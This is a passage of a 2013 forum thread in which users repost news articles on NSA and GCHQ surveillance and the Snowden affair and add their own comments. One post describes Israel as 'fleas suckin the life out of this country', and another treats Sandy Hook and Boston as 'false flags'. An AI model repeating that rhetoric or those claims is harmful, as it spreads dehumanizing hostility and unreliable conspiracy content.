 reported on June 6 by The Washington Post and the Guardian. It draws from data held by Google, Yahoo, Microsoft and other Silicon Valley giants, collectively the richest depositories of personal information in history.
http://www.washingtonpost.com/investigations/us-surveillance-architecture-includes-collection-of-revealing-internet-phone-metadata/2013/06/15/e9bf004a-d511-11e2-b05f-3ea3f0e7bb5a_story_1.html

Former NSA contractor Edward Snowden, 29, who unmasked himself as the source behind the PRISM and Verizon revelations, said he hoped for a systematic debate about the “danger to our freedom and way of life” posed by a surveillance apparatus “kept in check by nothing more than policy.”

For well over a week, he has had his wish. Startling disclosures have poured out of the nation’s largest and arguably tightest-lipped spy agency at an unprecedented pace. Snowden’s disclosures have opened a national conversation about the limits of secret surveillance in a free society and an outcry overseas against U.S. espionage.

The debate has focused on two of the four U.S.-based collection programs: PRISM, for Internet content, and the comprehensive collection of telephone call records, foreign and domestic, that the Guardian revealed by posting a classified order from the Foreign Intelligence Surveillance Court to Verizon Business Services.

The Post has learned that similar orders have been renewed every three months for other large U.S. phone companies, including Bell South and AT&T, since May 24, 2006. On that day, the surveillance court made a fundamental shift in its approach to Section 215 of the Patriot Act, which permits the FBI to compel production of “business records” that are relevant to a particular terrorism investigation and to share those in some circumstances with the NSA. Henceforth, the court ruled, it would define the relevant business records as the entirety of a telephone company’s call database.

The Bush administration, by then, had been taking “bulk metadata” from the phone companies under voluntary agreements for more than four years. The volume of information overwhelmed the MAINWAY database, according to a classified report from the NSA inspector general in 2009. The agency spent $146 million in supplemental counterterrorism funds to buy new hardware and contract support — and to make unspecified payments to the phone companies for “collaborative partnerships.”

When the New York Times revealed the warrantless surveillance of voice calls, in December 2005, the telephone companies got nervous. One of them, unnamed in the report, approached the NSA with a request. Rather than volunteer the data, at a price, the “provider preferred to be compelled to do so by a court order,” the report said. Other companies followed suit. The surveillance court order that recast the meaning of business records “essentially gave NSA the same authority to collect bulk telephony metadata from business records that it had” under Bush’s asserted authority alone.






five pages..contnues here ..only two copied here


http://www.washingtonpost.com/investigations/us-surveillance-architecture-includes-collection-of-revealing-internet-phone-metadata/2013/06/15/e9bf004a-d511-11e2-b05f-3ea3f0e7bb5a_story.html?hpid=z1



Title: Re: they know what you are doing
Post by: RUSSO on June 16, 2013, 07:33:02 am
Daniel Ellsberg On NSA Spying: 'We're A Turnkey Away From A Police State'


really?

(http://www.thelivingmoon.com/gallery/albums/userpics/10005/Domesticated-turkey-485x728.jpg)

 :o
Title: Re: they know what you are doing
Post by: robomont on June 16, 2013, 08:26:24 am
maybe but i saw a post somewhere else that said thatvsnowden hasnt revealed anything.
i would say the politicians and the msm has released all the secret info so far.snowden has just consolidated it and repeated it.

thats why im very sceptical of the whole situation.plus this distracts us from irs ,bengaz,i ap reporters ,fast and furious ,to infinity and beyond at this rate.
and really pissed off our allies citizens.

then you add in that israel is being paid to spy on us.really?
time to send somebody packin along with israel.a bunch of fleas suckin the life out of this country.germany 2.0   .

never forget uss liberty.what kinda fools are running our country?
Title: Re: they know what you are doing
Post by: Ellirium113 on June 16, 2013, 08:46:19 am

then you add in that israel is being paid to spy on us.really?
time to send somebody packin along with israel.a bunch of fleas suckin the life out of this country.germany 2.0   .


In Canada I believe we are also being spied on by Israel, My internet service provider uses an active firewall/antivirus so I wanted to know what it was they used. I contacted a buddy of mine that says they use ZONEALARM which is an ACTIVE antivirus program meaning it always is being monitored by a server.

Quote
Check Point was established in Ramat-Gan, Israel in 1993, by Gil Shwed (Chairman and CEO as of 2012[update]), Marius Nacht (Vice Chairman as of 2012[update]) and Shlomo Kramer (who left Check Point in 2003). Shwed had the initial idea for the company’s core technology known as stateful inspection, which became the foundation for the company's first product, FireWall-1; soon afterwards they also developed one of the world’s first VPN products, VPN-1.[2] Shwed developed the idea while serving in the Israel Defense Forces, where he worked on securing classified networks. [3][4]


http://en.wikipedia.org/wiki/Zone_Labs (http://en.wikipedia.org/wiki/Zone_Labs)
Title: Re: they know what you are doing
Post by: ArMaP on June 16, 2013, 09:53:42 am
I know a guy that has a company that sells an email proxy service, making it available to the clients with a web mail interface, along with some organisational goodies.

The software used is from an Israeli company, so I guess Israel has the Internet spying market (at least partially) controlled. :)
Title: Re: they know what you are doing
Post by: zorgon on June 16, 2013, 10:54:57 am
I contacted a buddy of mine that says they use ZONEALARM which is an ACTIVE antivirus program meaning it always is being monitored by a server.

I use ZoneAlarm... it is free and stops all OUTGOING until you assign permission. Many aps and malware put files and scripts on your comp that attempt to dial out. If your firewall doesn't block outgoing yer SCREWED :P

Since I used ZoneAlarm free version I have never had a virus or malware issue. I also did the checks and my comp passes in full stealth mode :D

So I will stick with ZoneAlarm

If the Mossad really wants to know what I am up to... they can log in like the NAVY did :P Maybe I can get some advertizing from them too :D
Title: Re: they know what you are doing
Post by: sky otter on June 16, 2013, 08:41:48 pm


of course there is more ..so much more that most will get bored and turn away saying
so what!!!!    :(





UK Spies Hacked Diplomats' Phones, Emails, Guardian Report Claims
By RAPHAEL SATTER 06/16/13 09:12 PM ET EDT 

 
 LONDON -- The Guardian newspaper says the British eavesdropping agency GCHQ repeatedly hacked into foreign diplomats' phones and emails when the U.K. hosted international conferences, even going so far as to set up a bugged Internet café in an effort to get an edge in high-stakes negotiations.

The report – the latest in a series of revelations which have ignited a worldwide debate over the scope of Western intelligence gathering – came just hours before Britain was due to open the G-8 summit Monday, a meeting of the seven biggest economies plus Russia, in Northern Ireland. The allegation that the United Kingdom has previously used its position as host to spy on its allies and other attendees could make for awkward conversation as the delegates arrive for talks.

"The diplomatic fallout from this could be considerable," said British academic Richard J. Aldrich, whose book "GCHQ" charts the agency's history.

GCHQ declined to comment on the report.

The Guardian cites more than half a dozen internal government documents provided by former NSA contractor Edward Snowden as the basis for its reporting on GCHQ's intelligence operations, which it says involved, among other things, hacking into the South African foreign ministry's computer network and targeting the Turkish delegation at the 2009 G-20 summit in London.

The source material – whose authenticity could not immediately be determined – appears to be a mixed bag. The Guardian describes one as "a PowerPoint slide," another as "a briefing paper" and others simply as "documents."

Some of the leaked material was posted to the Guardian's website with heavy redactions. A spokesman for the newspaper said that the redactions were made at the newspaper's initiative, but declined to elaborate.

It wasn't completely clear how Snowden would have had access to the British intelligence documents, although in one article the Guardian mentions that source material was drawn from a top-secret internal network shared by GCHQ and the NSA. Aldrich said he wouldn't be surprised if the GCHQ material came from a shared network accessed by Snowden, explaining that the NSA and GCHQ collaborated so closely that in some areas the two agencies effectively operated as one.

One document cited by the Guardian – but not posted to its website – appeared to boast of GCHQ's tapping into smartphones. The Guardian quoted the document as saying that "capabilities against BlackBerry provided advance copies of G20 briefings to ministers." It went on to say that "Diplomatic targets from all nations have an MO (a habit) of using smartphones," adding that spies "exploited this use at the G-20 meetings last year."


Another document cited – but also not posted – concerned GCHQ's use of a customized Internet cafe which was "able to extract key logging info, providing creds for delegates, meaning we have sustained intelligence options against them even after conference has finished." No further details were given, but the reference to key logging suggested that computers at the café would have been pre-installed with malicious software designed to spy on key strokes, steal passwords, and eavesdrop on emails.

Aldrich said that revelation stuck out as particularly ingenious.

"It's a bit `Mission Impossible,'" he said.


http://www.huffingtonpost.com/2013/06/16/uk-spies-hacked-diplomats-phones-emails_n_3451680.html
Title: Re: they know what you are doing
Post by: zorgon on June 17, 2013, 02:49:19 am

of course there is more ..so much more that most will get bored and turn away saying
so what!!!!    :(

I think THAT is the plan :D
Title: Re: they know what you are doing
Post by: robomont on June 17, 2013, 04:13:14 am
i wonder if that program would work on android?

Title: Re: they know what you are doing
Post by: stealthyaroura on June 17, 2013, 08:34:24 am
Iv'e just installed the Mozilla Firefox browser just as an experiment after I read there had been an extension called "Dark side of the Prism" Now what it does is every time you hit a web site that is being monitored by prism software it plays a track from Pink Floyd's Dark Side Of The Moon album.

Well something like that anyway (I don't understand all of it)

A bit like this. PRC=nothing,facebook=song,youtube=song,ATS=nothing, etc .
I'm just playing with it really as I have zone alarm too.
http://vimeo.com/68185625 (http://vimeo.com/68185625)
Title: Re: they know what you are doing
Post by: sky otter on June 21, 2013, 06:30:54 pm
http://www.huffingtonpost.com/2013/06/21/edward-snowden-charged_n_3480984.html


Edward Snowden Charged With Espionage Over NSA Leaks
Reuters  |  Posted: 06/21/2013 6:53 pm EDT  |  Updated: 06/21/2013 9:16 pm EDT

 
 WASHINGTON, June 21 (Reuters) - The U.S. government has filed sealed criminal charges against former National Security Agency contractor Edward Snowden, who admitted leaking secrets about classified U.S. surveillance programs, U.S. sources said on Friday.

A U.S. Justice Department official, speaking on condition of anonymity, said a criminal complaint had been filed against Snowden, who disclosed documents detailing U.S. telephone and internet surveillance efforts.

Another U.S. source, also speaking on condition of anonymity, said the United States was preparing to seek Snowden's extradition from Hong Kong, where he is believed to be in hiding.

Earlier, the Washington Post reported that U.S. prosecutors have filed a sealed criminal complaint charging Snowden with espionage, theft and conversion of government property. The Post also reported that the United States has asked Hong Kong to detain Snowden on a provisional arrest warrant.

The criminal complaint was filed in the Eastern District of Virginia, where Snowden's former employer, Booz Allen Hamilton, is located, the Post reported.

Documents leaked by Snowden revealed that U.S. security services had monitored data about phone calls from Verizon and Internet data from large companies such as Google and Facebook as part of counterterrorism efforts.

U.S. federal prosecutors, by filing a criminal complaint, lay claim to a legal basis to make the request of the authorities in Hong Kong, the Post reported. The prosecutors now have 60 days to file an indictment and can then take steps to secure Snowden's extradition from Hong Kong for a criminal trial in the United States, the newspaper reported.


Snowden would be able to challenge the U.S. request for his extradition in court in Hong Kong, the Post reported.

The newspaper noted the U.S. extradition treaty with Hong Kong has an exception for political offenses, and that espionage has been viewed as a political offense.

An Icelandic businessman linked to the anti-secrecy group WikiLeaks said on Thursday he had readied a private plane in China to fly Snowden to Iceland if Iceland's government would grant asylum.

Iceland refused on Friday to say whether it would grant asylum to Snowden. (Reporting by Mark Hosenball and Tabassum Zakaria; Editing by Jim Loney and Will Dunham)

... . . . . . . . . . . . . .




hey someone can make money here..you guys any good at finding bugs..?




Facebook Bug Exposed Email Addresses, Phone Numbers Of 6 Million Users
The Huffington Post  |  By Alexis Kleinman Posted: 06/21/2013 7:04 pm EDT  |  Updated: 06/21/2013 9:09 pm EDT

Facebook CEO Mark Zuckerberg. (AP Photo/Marcio Jose Sanchez) .381Share116Tweet7Email83CommentGet Technology Alerts:
 
 Sign Up ..Follow:Facebook, Facebook Bug, Facebook Contact Info, Facebook Email Addresses, Technology News .

On Friday, Facebook admitted that a bug made the private contact information -- either email addresses or phone numbers -- of 6 million users accidentally accessible to Facebookers who downloaded their account histories onto their own computers. Compared to Facebook's over 1 billion total members, 6 million isn't much. But any security flaw has the potential to frighten people away from a website.

A bug allowed "some of a person’s contact information (email or phone number) to be accessed by people who either had some contact information about that person or some connection to them," Facebook wrote in a note on its security page. Using the network's "Download Your Information" tool, some Facebook members were inadvertently sent the phone numbers or email address of Facebook friends that were otherwise private. Facebook assured users that the bug was fixed within a day, and that there is no evidence that the information was used maliciously.

The bug was found not by Facebook's team, but by someone going through Facebook's "white hat" hacker program, which offers a bounty for anyone who can find bugs on the site, paying a minimum reward of $500 per bug. The bounty is awarded "based on [the bug's] severity and creativity," according to Facebook's White Hat page. In April, HuffPost profiled one of Facebook's most prolific bug finders, Nir Goldshlager.


rest at link tells you how to do it
http://www.huffingtonpost.com/2013/06/21/facebook-bug_n_3480739.html
Title: Re: they know what you are doing
Post by: sky otter on June 23, 2013, 07:22:58 am


http://www.huffingtonpost.com/2013/06/21/uk-spying-scandal_n_3479942.html


UK Spying Scandal Even Bigger Than In U.S., According To GCHQ Documents Obtained By The Guardian
By RAPHAEL SATTER 06/21/13 04:42 PM ET EDT 

LONDON — British spies are running an online eavesdropping operation so vast that internal documents say it even outstrips the United States' international Internet surveillance effort, the Guardian newspaper reported Friday.

The paper cited British intelligence memos leaked by former National Security Agency contractor Edward Snowden to claim that U.K. spies were tapping into the world's network of fiber optic cables to deliver the "biggest internet access" of any member of the Five Eyes – the name given to the espionage alliance composed of the United States, Britain, Canada, Australia, and New Zealand.

That access could in theory expose a huge chunk of the world's everyday communications – including the content of people's emails, calls, and more – to scrutiny from British spies and their American allies. How much data the Brits are copying off the fiber optic network isn't clear, but it's likely to be enormous. The Guardian said the information flowing across more than 200 cables was being monitored by more than 500 analysts from the NSA and its U.K. counterpart, GCHQ.

"This is a massive amount of data!" the Guardian quoted a leaked slide as boasting. The paper said other leaked slides, including one labeled "Collect-it-all," gave hints as to the program's ambition.

"Why can't we collect all the signals all the time?" NSA chief Lt. Gen. Keith Alexander was quoted as saying in another slide. "Sounds like a good summer project for Menwith" – a reference to GCHQ's Menwith Hill eavesdropping site in northern England.

The NSA declined to comment on Friday's report. GCHQ also declined to comment on the report, although in an emailed statement it repeated past assurances about the legality of its actions.

"Our work is carried out in accordance with a strict legal and policy framework which ensures that our activities are authorized, necessary, and proportionate," the statement said.

The Guardian, whose revelations about America and Britain's globe-spanning surveillance programs have reignited an international debate over the ethics of espionage, said GCHQ was using probes to capture and copy data as it crisscrossed the Atlantic between Western Europe and North America.

It said that, by last year, GCHQ was in some way handling 600 million telecommunications every day – although it did not go into any further detail and it was not clear whether that meant that GCHQ could systematically record or even track all the electronic movement at once.


Fiber optic cables – thin strands of glass bundled together and strung out underground or across the oceans – play a critical role in keeping the world connected. A 2010 estimate suggested that such cables are responsible for 95 percent of the world's international voice and data traffic, and the Guardian said Britain's geographic position on Europe's western fringe gave it natural access to many of the trans-Atlantic cables as they emerged from the sea.

The Guardian said GCHQ's probes did more than just monitor the data live; British eavesdroppers can store content for three days and metadata – information about who was talking to whom, for how long, from where, and through what medium – for 30 days.

The paper quoted Snowden, the leaker, as saying that the surveillance was "not just a US problem. The U.K. has a huge dog in this fight ... They (GCHQ) are worse than the U.S."

Snowden, whose whereabouts are unknown, faces the prospect of prosecution in the United States over his disclosures, and some there have called on him to be tried for treason. Snowden has expressed interest in seeking asylum in Iceland, where a local businessman said he was prepared to fly the leaker should he request it.

Attempts by The Associated Press to reach Snowden have so far been unsuccessful.

___

Kimberly Dozier in Washington contributed to this report.



.....................................................................................


         
 
Edward Snowden Leaves Hong Kong:

Plane Believed To Be Carrying Leaker Lands In Moscow


 By LYNN BERRY and KELVIN CHAN 06/23/13 09:43 AM ET EDT 

 http://www.huffingtonpost.com/2013/06/23/edward-snowden-hong-kong_n_3486459.html?utm_hp_ref=politics

Title: Re: they know what you are doing
Post by: Ellirium113 on June 23, 2013, 09:15:14 am
EXCLUSIVE: US spies on Chinese mobile phone companies, steals SMS data: Edward Snowden


Quote
The US government is hacking Chinese mobile phone companies to steal millions of text messages, Edward Snowden has told the South China Morning Post. And the former National Security Agency contractor claims he has the evidence to prove it.

The former CIA technician and NSA contractor, hiding in Hong Kong after the US sought his arrest, made the claims after revealing to the Post that the NSA had snooped on targets in Hong Kong and on the mainland.

“There’s far more than this,” Snowden said in an interview on June 12. “The NSA does all kinds of things like hack Chinese cell phone companies to steal all of your SMS data.”

Text messaging is the most preferred communication tool in mainland China, used widely by ordinary people and government officials from formal work exchanges to small chats.

Quote
The US and UK also had technology which gave them unauthorised access to Blackberry phones of delegates at two G20 summits in London in 2009, Snowden said.


http://www.scmp.com/news/china/article/1266821/us-hacks-chinese-mobile-phone-companies-steals-sms-data-edward-snowden (http://www.scmp.com/news/china/article/1266821/us-hacks-chinese-mobile-phone-companies-steals-sms-data-edward-snowden)

To me it looks like they don't really give a S#!t who are, where you are or if it is legal or not. They are going to spy on you in any way shape or form. Love it or hate it.  >:(

At least I don't have to tell them how I feel about it because they already have it on record!
Title: Re: they know what you are doing
Post by: stealthyaroura on June 23, 2013, 11:17:55 am
what do you all think to this tube on snowdon? I don't know as these are USA folk and i'm UK.
some of you may be able to connect the dots if there are any. this could be rubbish too.
[youtube]9q2G-5xfFrA#t[/youtube]

WAIT it's WELLAWARE.COM ::) the guy who says obama is bush etc. he makes some crazy assumptions.
Whilst SOME of the people may have triple identities as in the sandy hook/Boston bomb false flags
He takes these false identities to far. some are just silly.
sorry if it's garbage. I just don't know the USA players like i would the UK.
Title: Re: they know what you are doing
Post by: sky otter on June 23, 2013, 11:47:43 am


yeah, garbage probably.. went one site like this (before news) trashes it..it becomes pretty funny


 
(Before It's News)

A reader asked me to look into the site wellaware.com, the owners of which have been spreading spurious nonsense about ‘actors’ at Sandy Hook (amongst several other notable historical events and persons).

It took just a few minutes of perusing the various ‘investigations’ at wellaware.com to conclude that the ‘researchers’ that run that site are:

registered blind

or

equipped with an IQ of around 50

or

deliberately spreading nonsense to get attention.

or

a combination of all three.

I won’t go into debunking all of their blatant BS because it is so obvious and would be  a waste of time
Title: Re: they know what you are doing
Post by: stealthyaroura on June 23, 2013, 12:08:14 pm
Hmm is there a delete button otter :-[
yes the site is scary crazy stupid. it does beg the question WHY. what a waste of time.
the people don't even resemble who he says they are. well 99% of them anyhow.
I can only say sorry my mistake. jumped the gun there.
Title: Re: they know what you are doing
Post by: sky otter on June 23, 2013, 03:21:21 pm
 ;D



hey Stealthy...I call zorro..opps.. I mean zorgon for that

but no worries.. let it stand as an example of how easy it is to be drawn in
just think of all those folks who actually believe it..and even argue that it is true

my opinion is this type of site is the real disinfo...

 ::)
Title: Re: they know what you are doing
Post by: stealthyaroura on June 23, 2013, 05:42:04 pm
I reckon your rite there otter I mean the guy has put an awful lot of work into
that site and he believes 100% that he is correct. it's ether disinfo or the
guy has far to much time on his hands.I bet he refuses to be wrong too.
hate that.   ::)
Title: Re: they know what you are doing
Post by: sky otter on June 27, 2013, 10:51:22 am

ok.. if yoiu weren't aware of this before .. then you just haven't been paying attention to the world as it now is...smile you're constantly on candid camera..ggggggggggrrrrrrrrrrr




http://money.msn.com/now/12-ways-you-could-be-tracked

Here's looking at you

Surprising revelations emerged recently about the extent to which federal agencies are tracking our phone calls, Internet usage and other information. And while President Obama and members of Congress have tried to downplay the issue -- and as the tech companies involved, including Apple (AAPL), Microsoft (MSFT) and Google (GOOG), try to restore the trust of their customers -- many Americans remain concerned about the balance between national security and personal privacy. (Microsoft owns and publishes MSN Money.)

It also raises questions about how far the snooping could go. How many ways could we be tracked, if the government -- or perhaps even a company -- wanted to follow our movements, our habits and our interests? How much of our daily lives are on the grid?

Don't pull out the tin-foil hats just yet. We aren't suggesting that you are being tracked in all these ways. Instead, we set out to look at how a person's life could be chronicled.

Read on to see 12 parts of your life that could be an open book:

Your location
The National Security Agency could collect the "geolocational" information that shows the location of cellphone calls made or received, but it chooses not to, The Wall Street Journal reported.

One official told the newspaper that the location information doesn't give enough good intelligence to justify the money and agent hours spent on it.



Your groceries
Grocery stores know what customers are buying by analyzing purchases tied to shopper loyalty cards. But the federal government can see the information as well. The Centers for Disease Control and Prevention has analyzed past grocery purchases to track the source of salmonella outbreaks, The Denver Post reports.

The CDC used information from Costco (COST) membership cards in one case.



Your daily errands
Automatic license plate readers are becoming increasingly popular with law enforcement around the country, Slate reports.

These plate recognition cameras are mounted in public places and sometimes on police patrol cars, and take pictures of every car that passes by. The technology is good for tracking stolen vehicles, toll evaders or criminals, but privacy advocates worry about the data being collected.

Oh, and if you're "checking in" at different places through social networking sites like Foursquare or Facebook (FB), that information can be easily accessed by the government as well.



Your phone calls
The National Security Agency has been gathering the telephone records of millions of Verizon (VZ) customers, The Guardian reported in June. The NSA receives daily updates of all phone calls within the U.S. and international calls made to and from the U.S.

Verizon wasn't the only carrier caught up in this. AT&T (T) and Sprint Nextel (S) also reportedly handed over data.

The information was reportedly metadata in most cases -- such as whom people called, where, when and for how long -- rather than the contents of actual conversations. Weeks after the bombshell report, experts were still wondering if the NSA's actions were legal.



Your driving patterns
Some insurance companies are offering discounts to customers willing to allow monitors in their cars. The data from GPS systems and other devices tell the company if drivers are going the speed limit or braking too hard, and safe drivers are rewarded with lower premiums.

Progressive (PGR) says its Snapshot device doesn't capture GPS location data, but General Motors' (GM) OnStar does, according to E-Commerce Times. That means a driver's location at a specific time could be requested by a subpoena.



Your credit card purchases
The NSA also watches credit-card transactions, The Wall Street Journal reports.

But the agency is very tight-lipped about this, and it's unclear whether the NSA has an ongoing credit card monitoring program or just performs individual investigations here and there. And, not surprisingly, the credit card companies aren't talking about this either.



Your online activity
Oh yeah, they're on to you. Right now. The NSA has requested information from Google (GOOG), Facebook (FB) and other tech companies about what people are doing online.

The Guardian and The Washington Post said that the NSA received information about Internet users' email messages, file transfers and live chats, but several tech companies said they didn't know anything about this practice.

Internet service providers have also given federal officials information about what websites customers visit, The Wall Street Journal reports.



Your electricity usage
Why would anyone care how much power you use? Some authorities are very interested in high electricity bills because they can signal nefarious activity.

Just ask the former South Carolina state trooper who found himself on the wrong side of the law after his utility company called the authorities about his high electricity use last year. Police raided the property and found an indoor marijuana farm.



Your hobbies
New York newspaper The Journal News sparked outrage last year when it published a map showing the locations of all handgun owners in two counties. The information is public record, the newspaper said, and it found the data with a simple Freedom of Information Act request.

Other permits could be accessed as well, including hunting and fishing licenses, making your favorite pastime a possible subject of interest.



Your real estate purchases
When you buy a house, the information is a matter of public record. The government (or anyone else, for that matter) can look up the sale amount and closing date, a description of your home and what the property is currently valued at.

Real-estate websites like Zillow (Z) make this information freely available to all.



Your political donations
Political candidates must report the names of donors giving more than $200 total to a campaign, according to the Federal Election Campaign Act. The donations are a matter of public record and can be accessed on sites such as OpenSecrets.

While this doesn't impact most of the voting public -- fewer than 0.5% of Americans gave $200 or more to federal candidates in 2008, according to Americans for Campaign Reform -- the political leanings of over a million people are easily discovered.



Your library records
Privacy has been a hot-button subject for librarians for years, many of whom don't believe in sharing their patrons' checkout records. The issue headed to the courts in 2006, after the federal government asked a library for records that could be used in a counterterrorism probe, according to The New York Times.

The furor over library records now seems so quaint, doesn't it? The fact that someone might know you checked out "50 Shades of Grey" seems of less consequence these days, when the government might very well be listening in on your phone calls.  
Title: Re: they know what you are doing
Post by: dreb13 on June 29, 2013, 12:04:18 am
Funny how life imitates art.  Just like the xfiles spinoff show that pretty much described the 9/11 attacks, now we have HBO's drama series The Newsroom.  This is an episode that originally aired a year ago.

[youtube]BeztenbI4T8[/youtube]
Title: Re: they know what you are doing
Post by: sky otter on June 30, 2013, 08:37:20 pm


Edward Snowden Can't Leave Moscow Without Consent Of Russian Authorities, Says Ecuadorean President
By MICHAEL WEISSENSTEIN 06/30/13 03:56 PM ET EDT 

PORTOVIEJO, Ecuador -- Edward Snowden is "under the care of the Russian authorities" and can't leave Moscow's international airport without their consent, Ecuadorean President Rafael Correa told The Associated Press Sunday in an interview telegraphing the slim and diminishing possibility that the National Security Agency leaker will end up in Ecuador.

Correa portrayed Russia as entirely the master of Snowden's fate and said Ecuador is still awaiting an asylum request from Snowden before deciding its next moves.

Russian President Vladimir Putin has distanced himself from the case since Snowden arrived in Moscow last week, insisting the 30-year-old former NSA contractor remains in the transit zone of the capital's Sheremetyevo Airport and that as long as he has not legally entered Russia, he is out of the Kremlin's control.

At the same time, the Kremlin said Sunday that it will take public opinion and the views of human rights activists into account when considering Snowden's case, a move that could lay the groundwork for him to seek asylum in Russia.

"This is the decision of Russian authorities," Correa told the AP during a visit to this Pacific coast city. "He doesn't have a passport. I don't know the Russian laws, I don't know if he can leave the airport, but I understand that he can't. At this moment he's under the care of the Russian authorities. If he arrives at an Ecuadorean Embassy we'll analyze his request for asylum."

Last week, several members of Russia's Presidential Council for Human Rights spoke out in support of Snowden, saying he deserved to receive political asylum in the country of his choice and should not be handed over to the United States. And a handful of protesters picketed outside the Moscow airport in what appeared to be an orchestrated demonstration on Friday, holding signs reading "Edward, Russia is your second motherland" and "Russia is behind Snowden."

Putin spokesman Dmitry Peskov told Ekho Moskvy radio that while Snowden is not Russia's concern, the Kremlin is aware of the viewpoints of Russian experts and representatives of human rights organizations.

"Public opinion on the subject is very rich," Peskov said in the radio interview. "We are aware of this and are taking it into account."

Correa said he had no idea Snowden's intended destination was Ecuador when he fled Hong Kong for Russia last week. He said the Ecuadorean consul in London committed "a serious error" by not consulting officials in Ecuador's capital when the consul issued a letter of safe passage for Snowden. He said the consul would be punished, although he didn't specify how.


Analysts familiar with the workings of the Ecuadorean government said Correa's claims that the decision was entirely Russia's appeared to be at least partly disingenuous. They said they believed Correa's administration at first intended to host Snowden, then started back-tracking this week when the possible consequences became clearer.

"I think the government started to realize the dimensions of what it was getting itself into, how it was managing things and the consequences that this could bring," said Santiago Basabe, an analyst and professor of political sciences at the Latin American School of Social Sciences in the Ecuadorean capital, Quito. "So it started pulling back, and they'll never tell us why, but I think the alarm bells started to go off from people very close to the government, maybe Ecuador's ambassador in Washington warned them about the consequences of asylum for Snowden."

Correa said Snowden must assume responsibility if he broke U.S. laws, but added the broader legitimacy of Snowden's action must be taken into consideration. He said Ecuador would still consider an asylum request but only if Snowden is able to make it to Ecuador or an Ecuadorean Embassy to apply.

The U.S. is seeking the former NSA contractor's extradition for leaking secret documents that, among other things, detail U.S. surveillance of international online activity. On Sunday, German magazine Der Spiegel reported that classified documents taken by Snowden also revealed U.S. spies had allegedly bugged European Union offices.

Correa never entirely closed the door to Snowden, whom he said had drawn vital attention to the U.S. eavesdropping program and potential violations of human rights. But Correa appeared to be sending the message that it is unlikely Snowden will ever end up in Ecuador. He repeatedly emphasized the importance of the U.S. legal process and praised Vice President Joe Biden for what he described as a courteous and appreciated half-hour call about the Snowden case on Friday.

He similarly declined to reject an important set of U.S. trade benefits for Ecuadorean exports, again a contrast with his government's unilateral renunciation of a separate set of tariff benefits earlier in the week.

"If he really could have broken North American laws, I am very respectful of other countries and their laws and I believe that someone who breaks the law must assume his responsibilities," Correa said. "But we also believe in human rights and due process."

He said Biden had asked him to send Snowden back to the United States immediately because he faces criminal charges, is a fugitive from justice and has had his passport revoked.

"I told him that we would analyze his opinion, which is very important to us," Correa said, adding that he had demanded the return of several Ecuadoreans who are in the United States but face criminal charges at home.

"I greatly appreciated the call," he said, contrasting it with threats made by a small group of U.S. senators to revoke Ecuadorean trade privileges. "When I received the call from Vice President Biden, which was with great cordiality and a different vision, we really welcomed it a lot."

Ecuadorean officials believe Russian authorities stymied the country's efforts to approve a political asylum application from the former NSA systems analyst, according to government officials with direct knowledge of the case.

Those officials said Ecuador had been making detailed plans to receive and host Snowden. One of the officials said Russia's refusal to let Snowden leave or be picked up by Ecuadorean officials had thwarted the plans. The officials spoke on condition of anonymity because they weren't authorized to discuss the case by name.

One of the officials said Snowden had intended to travel from Moscow to the Ecuadorean capital of Quito. The official said Ecuador had also asked Russia to let Snowden take a commercial flight to meet Foreign Minister Ricardo Patino in Vietnam or Singapore, where Patino was on an official trip.

The Russians rejected all of Ecuador's requests to let Snowden leave Moscow, or to let an Ecuadorean government plane pick him up there, the official said.

Asked Sunday about those accounts, Correa responded, without elaborating, "We don't have long-range aircraft. It's a joke."

Snowden's path to Ecuador would have gone through Cuba, which said little about the case all week, including whether it would have allowed him to use its territory to transit.

Cuban leader Fidel Castro praised Correa's rejection of U.S. trade pressure, expressing his "sympathies" for the Ecuadorean leader in a Sunday editorial in the state press.

_______ Gonzalo Solano contributed from Quito, Ecuador. Lynn Berry in Moscow contributed to this report.

http://www.huffingtonpost.com/2013/06/30/edward-snowden-ecuador_n_3526167.html?utm_hp_ref=world
Title: Re: they know what you are doing
Post by: Ellirium113 on July 01, 2013, 08:10:38 am
Quote
July 1, 2013 - French President Francois Hollande told the United States on Monday to immediately cease spying on European institutions, after reports of covert US surveillance of EU diplomatic missions.

"We cannot accept this kind of behaviour between partners and allies," Hollande told journalists during a visit to the northwestern city of Lorient. "We ask that this immediately stop."

http://www.disclose.tv/news/Ultimatum_France_tells_US_to_immediately_stop_spying/90485 (http://www.disclose.tv/news/Ultimatum_France_tells_US_to_immediately_stop_spying/90485)

Thanks to Canada's Security and Prosperity agreement with the U.S. information is shared much more easily through the legal loopholes...

Quote
Canada has its own version of the NSA as well -- the Communications Security Establishment Canada (CSEC), an extremely secretive government agency responsible for monitoring foreign communications related to Canada’s national security. The agency can officially only monitor Canadian communications when a foreign party is involved.

But CSEC’s no-spying-on-Canadians rule apparently disappears when the agency is asked for help from other agencies, such as the RCMP, border services or CSIS, according to CSEC expert Bill Robinson, as quoted at the Ottawa Citizen.

No one can say for sure how much spying on Canadians CSEC may be doing, but Geist argues that the agency’s own explanations of how Canadians can end up under surveillance “sound awfully similar to the powers in the U.S. Given the lack of transparency, it certainly seems possible that there are similar activities taking place here.”

CSEC’s budget and staff have more than doubled since 9/11, to 2,000 people and $400 million annually. And the agency recently got even more secretive, to the point that an annual report on the agency’s priorities is now classified.


http://www.huffingtonpost.ca/2013/06/08/nsa-spying-canada_n_3408662.html (http://www.huffingtonpost.ca/2013/06/08/nsa-spying-canada_n_3408662.html)

Quote
The Canada -US Smart Border Declaration was signed December 12, 2001 by John Manley when he was Deputy Prime Minister and Tom Ridge US Homeland Security Director. Point 24 of this 30 point action plan refers to Joint Enforcement Coordination- a comprehensive and permanent coordination of law enforcement , anti terrorism efforts and information sharing. Point 25 is about Integrated Intelligence- joint teams to analyze and disseminate information and intelligence, and to produce threat and intelligence assessments.

This internet, e mail, cell phone spying is not about pornography as Anne McLellan whitewashes to sell it. Her hypocrisy here is as guilty as the duplicity found out it the Gomery report on fiscal corruption in the system.

The 9/11 justification is wearing more than thin. What the ministers call "architecture", I call the trappings of a police state. I do not want it. No Canadians were asked if we wanted it. No Canadians were asked if we wanted a regime change into an unaccountable unelected North American Union ruled by Orwellian laws that imprison us. The Empire of Surveillance must be struck down! All Canadians are entitled to security and prosperity, not imprisonment and poverty.


http://actionparty.ca/news/civil-rights-freedoms/canadas-sweeping-law-to-spy-on-canadians/ (http://actionparty.ca/news/civil-rights-freedoms/canadas-sweeping-law-to-spy-on-canadians/)
Title: Re: they know what you are doing
Post by: stealthyaroura on July 01, 2013, 03:57:11 pm
[youtube]hnMPQmIPibE#t[/youtube]
Title: Re: they know what you are doing
